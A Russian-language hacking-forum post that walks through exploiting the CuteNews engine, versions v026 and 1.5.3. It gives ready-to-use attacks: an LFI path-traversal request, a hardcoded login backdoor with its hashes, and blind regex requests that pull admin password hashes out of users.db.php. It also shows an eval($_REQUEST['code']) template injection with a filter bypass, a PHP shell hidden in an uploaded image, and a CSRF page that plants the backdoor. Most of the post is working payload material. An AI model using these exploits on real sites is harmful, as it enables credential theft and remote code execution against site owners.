Prev Предыдущее сообщение   Следующее сообщение Next
Старый 13.10.2013, 14:17   #1
Enigma
 
Аватар для Enigma
 
Регистрация: 17.06.2013
Сообщений: 37
Репутация: 12
По умолчанию CuteNews

CuteNews
  • Version: v026
  • Site: -
  • Dork: Powered by CuteNews.RU 026

Это очень старая версия(около десяти лет прошло), но мне она встретилась во время аудита и пришлось разбираться.

Общая информация:
  • БД не используется, вместо этого файлы
  • register_globals!=on -> делается extract переменных, так что можно считать rg==on всегда.
  • в data/users.db.php хранится информация о пользователях; строки вида 1373759797|1|admin|21232f297a57a5a743894a0e4a801fc 3|admin||1|0||1375387918||. Логин идет третьим, после него md5-хеш пароля

Нагуглить уязвимостей я не смог и решил смотреть сам. После того как я нашел LFI и бекдор в функции логина я стал гуглить хеш(см. ниже) и оказалось, что в 2004 году кто-то уже находил эти уязвимости. Цитирую это(http://securityvulns.ru/Hdocument80.html):


Цитата:
* Title: CuteNews.RU v026 - bugs
* Bug found by: тёмыч

Если magic_quotes_gpc = off
(include)
show_archives.php?template=../../../../../../../../file%00

Код добавлен мною(Enigma):
PHP код:
if(!isset($template) or $template == "" or strtolower($template) == "default"){ require_once("$cutepath/data/Default.tpl"); }
else{
    if(
file_exists("$cutepath/data/${template}.tpl")){ require_once("$cutepath/data/${template}.tpl"); } 

##############################


backdoor в функцие check_login
md5 login and password:

md5 login: 712279bc51dd4508f0510e907102447c
md5 passw: d619468225a1d9e4c93c6be0317b3696

каму не лень, пусть брутит.

PHP код:
function check_login($username$md5_password){
   
$result FALSE;
   
$full_member_db file("./data/users.db.php");
   global 
$member_db;

       if (
md5 ($username)!=="712279bc51dd4508f0510e907102447c")
       {
               foreach(
$full_member_db as $member_db_line)
           {
                   if(!
eregi("<\?"$member_db_line)){
                               
$member_db explode("|",$member_db_line);
                               if(
strtolower($member_db[2]) == strtolower($username) && $member_db[3] == $md5_password)
                               {
                                       
$result TRUE;
                                       break;
                               }
                       }
               }
       }
       else if (
$md5_password=="d619468225a1d9e4c93c6be0317b3696"$result TRUE;
   return 
$result;

md5 passw сбрутить мне так и не удалось, поиск по хешу ничего не дал.

На целевом сервере mq был on, залить файл .tpl мне не удалось, так что инклуд мне тоже не помог, и я решил искать другие уязвимости.


Получение аутентификационных данных:

смотрим файл search.php
PHP код:
// Don't edit below this line unless you know what you are doing !!!

if($dosearch == "yes")
{
CUT
    $files_arch
[] = "$cutepath/data/news.txt";

    foreach(
$files_arch as $file)
    {
CUT
        $all_news_db 
file("$file");
        foreach(
$all_news_db as $news_line){
            
$news_db_arr explode("|",$news_line);
            
// do the search
CUT 
$files_arch здесь используется впервые, это означает что поскольку rg==on мы можем добавить к запросу http://site/...&files_arch[]=data/users.db.php и поиск будет осуществляться в файле хранящем аутентификационные данные. Там используется тот же формат(разделение символом |) что и в файлах хранящих информацию о новостях, так что поиск будет осуществлён.

Первой идеей было посмотреть нельзя ли вывести хеш. Строки в data/users.db.php выглядят так 1373759797|1|admin|21232f297a57a5a743894a0e4a801fc 3|admin||1|0||1375387918||. Это означает что $news_db_arr[3] будет содержать наш хеш. Единственное место где $news_db_arr[3] используется это

PHP код:
            $fuser  FALSE;
            
$ftitle FALSE;
            
$fstory FALSE;
            if(
$title and @preg_match("/$title/i""$news_db_arr[2]")){ $ftitle TRUE; }
            if(
$user  and @preg_match("/\b$user\b/i""$news_db_arr[1]")){ $fuser TRUE; }
            if(
$story and (@preg_match("/$story/i""$news_db_arr[4]") or @preg_match("/$story/i""$news_db_arr[3]"))){ $fstory TRUE;}
    
// дальше много кода, в результате выводится количество найденных статей и (возможно) ссылки на них 
Как видно это участок preg_match("/$story/i", "$news_db_arr[3]"), где $story - это поисковый запрос. Вскоре я осознала, что $story будет не просто строкой, но регулярным выражением.

$news_db_arr[1](preg_match $user) - права доступа, нас интересуют записи где это поле равняется 1(1 значит администратор)
$news_db_arr[2]($title) - логин
$news_db_arr[3]($story) - md5 хеш пароля

---

Запросы и ответы будут примерно такими:

Код:
Request:
http://localhost/cnews/search.php?dosearch=yes&story=^[a-z0-9]{32}$&title=&user=&files_arch[]=data/users.db.php
Response:
Найдено [3] статей:
это означает что всего есть 3 аккаунта

Код:
Request:
http://localhost/cnews/search.php?dosearch=yes&story=^[a-z0-9]{32}$&title=&user=1&files_arch[]=data/users.db.php
Response:
Найдено [2] статей:
это означает что есть два администраторских аккаунта

Код:
Request:
http://localhost/cnews/search.php?dosearch=yes&story=^21232f297a57a5a743894a0e4a801fc3$&title=^admin$&user=&files_arch[]=data/users.db.php
Response:
Найдено [1] статей:
это означает что мы нашли учетную запись с логином admin и хешем 21232f297a57a5a743894a0e4a801fc3.

Ну как подбирать понятно я думаю, по сути это тот же класс задач что и blind sql-injection. Поскольку нам доступны всего два состояния(совпадение есть/нет) бинарный поиск тут будет самым эффективным алгоритмом.

Perl скрипт(http://pastebin.com/Z0P6XjSZ) который на вход получает URL страницы поиска и ищет первый администраторский аккаунт(с правами доступа 1), на выходе даются логин и md5-хеш пароля. Передача параметров осуществляется через COOKIE.


Недостаток аутентификации:
для аутентификации используются куки вида
username=admin
md5_password=21232f297a57a5a743894a0e4a801fc3

Это означает что не требуется подбирать пароль для хеша, достаточно создать эти куки и вставить туда полученные логин и хеш пароля.


Инъекция php кода:
требуется доступ в администраторскую панель

Настройки->Шаблоны, выбираем любой шаблон, запоминаем его имя и в "редактировать части шаблона" добавляем к любому участку в самый конец с новой строки:
PHP код:

HTML
;
eval(
$_REQUEST['code']);
<<<
HTML 
<<<HTML чтоб не было Notice: Use of undefined constant HTML - assumed 'HTML'

После сохранения это запишется в файл и отображаться в панели не будет. Ну для ясности, код сохранится примерно такой:
PHP код:
$template_dateheader = <<<HTML
<h3 style="font-size: 14px;">{dateheader}</h3>
HTML;
eval(
$_REQUEST['code']);
<<<HTML
HTML; 
Затем обращаемся странице с новостями, по умолчанию это show_news.php?template=default/*default - имя шаблона*/&code=phpinfo(); ну естественно использовать не GET.

Код сохраняющий шаблоны находится в inc/options.mdu:
PHP код:
elseif($action == "dosavetemplates")
{
       if($member_db[1] != 1){ msg("error", "Access Denied", "You don't have permissions for this type of action"); }
    $templates_names = array("edit_active", "edit_comment", "edit_form", "edit_full", "edit_prev_next", "edit_ñprev_next", "edit_dateheader");
    foreach($templates_names as $template)
    {
        $$template = stripslashes($$template);
    }

    if($do_template == "" or !$do_template){ $do_template = "Default"; }
    $template_file = "./data/${do_template}.tpl";

    $handle = fopen("$template_file","w");
    fwrite($handle, "<?PHP\n///////////////////// TEMPLATE $do_template /////////////////////\n");
    fwrite($handle, "\$template_active = <<<HTML\n$edit_active\nHTML;\n\n\n");
    fwrite($handle, "\$template_full = <<<HTML\n$edit_full\nHTML;\n\n\n");
    fwrite($handle, "\$template_comment = <<<HTML\n$edit_comment\nHTML;\n\n\n");
    fwrite($handle, "\$template_form = <<<HTML\n$edit_form\nHTML;\n\n\n");
    fwrite($handle, "\$template_prev_next = <<<HTML\n$edit_prev_next\nHTML;\n\n\n");
    fwrite($handle, "\$template_cprev_next = <<<HTML\n$edit_ñprev_next\nHTML;\n\n\n");
    fwrite($handle, "\$template_dateheader = <<<HTML\n$edit_dateheader\nHTML;\n\n\n");
    fwrite($handle, "?>\n"); 
}
Как видно после каждого изменения файл переписывается заново, так что если через некоторое время после инъекции поменяют что-то в шаблоне ваш код будет утерян.

+ имя шаблона в do_template не проверяется на корректность, так что можно создавать новые .tpl файлы/подниматься по дереву директорий.


CSRF
защиты от CSRF тут нет. Поскольку мы можем зайти с админского аккаунта писать об эксплуатации не буду





=============================



CuteNews
  • Version: 1.5.3
  • Site: http://cutephp.com/
  • Dork: Powered by CuteNews

Это уже современная, самая последняя версия. Мне она не была нужна, но чтоб не создавать тему только о движке десятилетней давности я решил посмотреть как дела обстоят сейчас.


Общая информация:
  • -всё так же используются файлы, а не БД
  • -core/loadenv.php подключаемый в большинстве случаев делает extract(GET/POST/C, EXTR_SKIP);
  • data/users.db.php хранится информация о пользователях; sha256-hash от пароля
  • -можно получить список пользователей где ставится в соответствии ник и логин +можно посмотреть уровень доступа запросом CuteNews/shows.php?imod=userlist&user_flags=unraple
  • -ведётся лог, например сохраняет ип и время для каждого захода пользователя
  • -index.php показывает версию движка


Инъекция php кода:
требуется аккаунт админа и права на запись файла шаблона

Options->Edit templates

Теперь код отвещающий за это действие хранится в inc/options.php
Код:
elseif($action == "dosavetemplates")
{
    if ($member_db[UDB_ACL] != 1)
        msg("error", lang("Access Denied"), lang("You don't have permissions for this type of action", '#GOBACK'));

    if ($do_template == "" or !$do_template)
        $do_template = "Default";

    $template_file = SERVDIR."/cdata/$do_template.tpl";

    $handle = fopen($template_file, "w");
    fwrite($handle, '<'.'?php'."\n///////////////////// TEMPLATE $do_template /////////////////////\n");
    foreach ($Template_Form as $parts)
    {
        $name  = $parts['name'];
        $value = $_REQUEST['edit_'.$name];
        $value = str_replace('HTML;', '', $value);
        $value = (ini_get('magic_quotes_gpc')) ? stripslashes($value) : $value;
        fwrite($handle, "\${$name} = <<<HTML\n{$value}\nHTML;\n\n\n");
    }
    fwrite($handle, "?>");
    fclose($handle);

    add_to_log($member_db[UDB_NAME], lang('Update templates'));
    relocation($PHP_SELF.'?action=templates&mod=options&do_template='.$do_template.'&save=success');
}
Сама идея кода не изменилась, файл всё так же перезаписывается заново. Разработчики попытались исправить уязвимость добавив
PHP код:
$value str_replace('HTML;'''$value
, но допустили обычную в этом случае ошибку.

Код:
HTHTML;ML;
eval($_REQUEST['code']);
<<<HTML
do_template(имя файла) теперь фильтруется(preg_replace [^a-zA-Z0-9]), т.е. подниматься по дереву нельзя, но если вдруг есть права на запись в папку с шаблонами а на сами шаблоны нет можно создать новый шаблон.

После выполняем код:
http://site.com/CuteNews/index.php?template=template_name&code=phpinfo%28%2 9;


Загрузка произвольных файлов:
требуется аккаунт с возможностью загружать картинки (админ/журналист, аккаунт комментатора который можно создать по умолчанию не подходит)

PHP код:
// inc/images.php
elseif ($action != "doimagedelete")
{
    if (
$subaction == "upload")
    {
        
CSRFCheck();
        for (
$image_i 1$image_i < ($images_number+1); $image_i++)
        {
            
$current_image  'image_'.$image_i;
            
$image          $_FILES[$current_image]['tmp_name'];
            
$image_name     $_FILES[$current_image]['name'];
            
$image_name     str_replace(" ""_"$image_name);
            
$img_name_arr   explode(".",$image_name);
            
$type           end($img_name_arr);

            
// Check file for valid
            
$data getimagesize($image);
            list(
$width$height) = $data;

            
// Only allowed images
            
if ( preg_match('/^image\//i'$data['mime']) && $width && $height )
            {
CUT
                    copy
($imageSERVDIR."/uploads/".$image_name) or $img_result .= "<br><span style='color: red;'>$image_name -> Couldn't copy image to server</span><br />Check if file_uploads is allowed in the php.ini file of your server";
                    if (
file_exists(SERVDIR."/uploads/".$image_name))
                    {
                        
$img_result .= "<br><span style='color: green;'>$image_name -> Image was uploaded</span>";
                        if (
$action == "quick")
                            
$img_result .= " <a title=\"Insert this image in the $my_area\" href=\"javascript:insertimage('$image_name');\">[insert it]</a>";

                    }
                    
// if file is uploaded succesfully 
Options->Manage uploaded images

Чтоб загрузить шелл нужно взять валидную картинку с php кодом в хвосте, и изменить в запросе mime type на "image/asd". Если вы очень хотите чтоб ваш файл отображался в списке загруженных картинок можете добавить .php в список разрешённых расширений =)


CSRF
создатели движка не доделали защиту от CSRF. extract переменных + CSRF позволяет делать практически все через <img >

Вот пример эксплуатации для описанной выше инъекции пхп-кода.

csrf.html
Код:
<html>
<body>
<img src="http://localhost/CuteNews/index.php?mod=options&action=dosavetemplates&do_template=lal&edit_template_active=HTHTML%3BML%3B%0Aeval%28%24_REQUEST%5B%27code%27%5D%29%3B%0A%3C%3C%3CHTML" />
</body>
</html>
После того как админ прошел выполняем код:
http://site.com/CuteNews/index.php?template=lal&code=phpinfo%28%29;

Проверил в Chromium и Firefox.


ПС: Пока я всё это писал появилась 2.0 бета.

Там многое поменяли в лучшую сторону, изменилась структура, и extract теперь не делается например. Я честно говоря уже потерял интерес к этому движку, так что внимательно смотреть не стал, а на один беглый взгляд там всё норм.
Enigma вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot